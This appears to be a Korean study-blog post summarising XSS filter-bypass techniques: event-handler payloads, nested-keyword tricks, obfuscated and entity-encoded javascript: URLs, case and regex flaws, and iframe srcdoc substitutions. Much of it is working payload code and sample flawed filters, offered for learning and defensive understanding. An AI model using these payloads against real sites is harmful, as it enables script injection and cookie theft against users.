본문 바로가기

Study/WebHacking

XSS Filtering Bypass - 1 정리

728x90

XSS 방어 필터링 우회 기법을 공부해보자

다음 언급된 필터링은 잘못된 방식으로 XSS 취약점을 근본적으로 제거하기 위해서는 태그 삽입이 되지 않도록 처음부터 원인을 제거하는 것이 중요 ‼️ 

 

1) 불충분한 XSS 필터링

1-1) 이벤트 핸들러 속성 -> on으로 시작하는 속성


잠.깐.만🖐️ ! 이벤트 핸들러가 뭘까?

특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의 핸들러 함수

이벤트 핸들러 내에 XSS 공격 코드를 삽입해두면 해당 이벤트가 발생했을 때 XSS 공격 코드가 실행됨

태그의 속성 값으로 들어가는 이벤트 핸드러의 종류는 굉장히 다양하며 각 이벤트가 발생하는 원리가 다양함

참고 : https://developer.mozilla.org/en-US/docs/Web/Events

 

Event reference | MDN

Events are fired to notify code of "interesting changes" that may affect code execution. These can arise from user interactions such as using a mouse or resizing a window, changes in the state of the underlying environment (e.g. low battery or media events

developer.mozilla.org


1-1-1) onload 이벤트 핸들러

<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
<!-- → 유효한 이미지 로드 후 onload 핸들러 실행 -->

<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onload 핸들러 실행하지 않음 -->

⏩해당 태그가 요청하는 데이터를 로드한 후에 실행, 만약 로드에 실행  

 

1-1-2) onerror 이벤트 핸들러

<img src="valid.jpg" onerror="alert(document.domain)">
<!-- → 유효한 이미지 로드 성공, onerror 핸들러 실행하지 않음 -->
<img src="about:invalid" onerror="alert(document.domain)">
<!-- → 이미지 로드 실패, onerror 핸들러 실행 -->

⏩해당 태그가 요청하는 데이터를 로드하는데 실패할 시 실행, 만약 로드에 성공했다면 실행x

 

1-1-3) onefocus 이벤트 핸들러

<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!-- → autofocus 속성으로 인해 페이지가 로드되지마자 바로 input 태그에 포커스함, 포커스된 직후 onfocus 핸들러 실행 -->

⏩input 태그에 커서를 클릭하여 포커스가 되면 실행되는 이벤트 핸들러. 일반적으로 공격 상황에서 input 태그의 autofocus 속성을 이용해 자동으로 포커스시키거나, URL의 hash 부분에 input 태그의 id 속성 값을 입력 (http://dreamhack.io/#inputID)해 자동으로 포커스되도록 함.

 

2) 문자열 치환

만약 단순히 의심되는 구문을 제거할 경우 필터링되는 키워드 사이에 새로운 필터링 키워드를 삽입하는 방식으로 우회하는 것이 가능 

2-1) 키워드 제거 방식

예시 : script라는 키워드를 제거하는 방식의 필터링이 적용되어있음

- scrscriptipt와 같이 제거되는 키워드를 중간에 삽입 -> 중간에 삽입된 키워드가 제거되면서 다시 원본 키워드를 만들어내는 방식으로 우회가능

(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
function replaceIterate(text) {
    while (true) {
        var newText = text
            .replace(/script|onerror/gi, '');
        if (newText === text) break;
        text = newText;
    }
    return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,&lt;svg&gt;" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,&lt;svg&gt;" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="&lt;sonerrorcript&gt;parent.alescronerroriptrt(1)&lt;/scrionerrorpt&gt;" />')
--> <iframe srcdoc="&lt;&gt;parent.alert(1)&lt;/&gt;" />

 

3) 활성 하이퍼링크

HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있음.

이 중 javascript: 스키마는 URL 로드 시 자바스크립트 코드를 실행가능

URL을 속성 값으로 받는 a태그나 iframe 태그 등에 사용가능. -> XSS 키워드를 필터링할 때 javascript: 스키마를 사용하지 못하도록 필터링하는 경우가 존재.

<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">

 

아래 경우에는 브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화 (Normalization)을 이용해 우회할 수 있는 경우가 존재. 정규화는 동일한 리소스를 나타내는 서로 다른 URL들을 통일된 형태로 변환하는 과정.

이 과정에서 \x01, \x04, \t와 같은 특수 문자들이 제거됨

<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">

 

또한 HTML 태그의 속성 내에서는 HTML Entity Encoding을 사용가능

이를 이용해 javascript: 스키마나 이 외의 XSS 키워드를 인코딩하여 필터링을 우회하는 경우 존재

<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">

 

 

자바스크립트에는 URL 객체를 통해 URL을 직접 정규화할 수 있음.

protocol, hostname 등 URL의 각종 정보를 추출가능.

XSS 필터링 우회 공격 구문을 작성하기 위해 직접 URL을 정규화해보며 테스트하는 것이 가능

function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)').href
--> "javascript:alert(1)"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"

 

4) 태그와 속성 기반 필터링

4-1) 대문자 혹은 소문자만을 인식하는 필터 우회

4-1-1) 대/소문자 모두 검사X

x => !x.includes('script') && !x.includes('on')

 

4-1-2) 대소문자 검사 미흡 우회

<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />

4-2) 잘못된 정규표현식을 사용한 필터 우회

4-2-1) 스크립트 태그 내 데이터 존재 여부 검사

x => !/<script[^>]*>[^<]/i.test(x)

 

4-2-2) 스크립트 태그의 src 속성을 이용한 검사 우회

<script src="data:,alert(document.cookie)"></script>

 

4-2-3) img 태그의 on 이벤트 핸들러 검사

x => !/<img.*on/i.test(x)

 

4-2-4) 줄바꿈 문자를 이용한 검사 우회

<img src=""\nonerror="alert(document.cookie)"/>

 

4-3) 특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터 우회

4-3-1) 태그 검사 예시

x => !/<script|<img|<input/i.test(x)

 

4-3-2) 태그 검사 우회

<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>

 

4-3-3) on 이벤트 핸들러 및 멀티 라인 문자 검사

x => !/<script|<img|<input|<.*on/is.test(x)

⏩on 이벤트 핸들러를 사용하지 못하도록 하고, 멀티 라인을 지원하는 문자를 검사

새로운 inner frame을 생성하는 iframe 태그를 이용해 우회할 수 있음

 

4-3-4) on 이벤트 핸들러 및 멀티 라인 문자 검사 우회

<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">
<iframe srcdoc="<img src=about: o&#110;error=parent.alert(document.domain)>">

⏩iframe 태그의 src 속성은 URL을 인자로 받기 때문에 활성 하이퍼링크를 이용해 자바스크립트 코드를 삽입하는 것이 가능. 혹은 srcdoc 속성을 이용해 inner frame 내에 새로운 XSS 공격 코드를 입력하는 것도 가능

 

오예~~✌️✌️✌️✌️✌️

 

'Study > WebHacking' 카테고리의 다른 글

XSS Filtering Bypass write up  (0) 2024.02.12
XSS Filtering Bypass - 2 정리  (0) 2024.02.08
XSS(Cross-Site-Scripting) 정리  (0) 2024.02.06
Dreamhack wargame : web-ssrf write up  (0) 2024.02.06
Server-side Request Forgery(SSRF) 정리  (1) 2024.02.06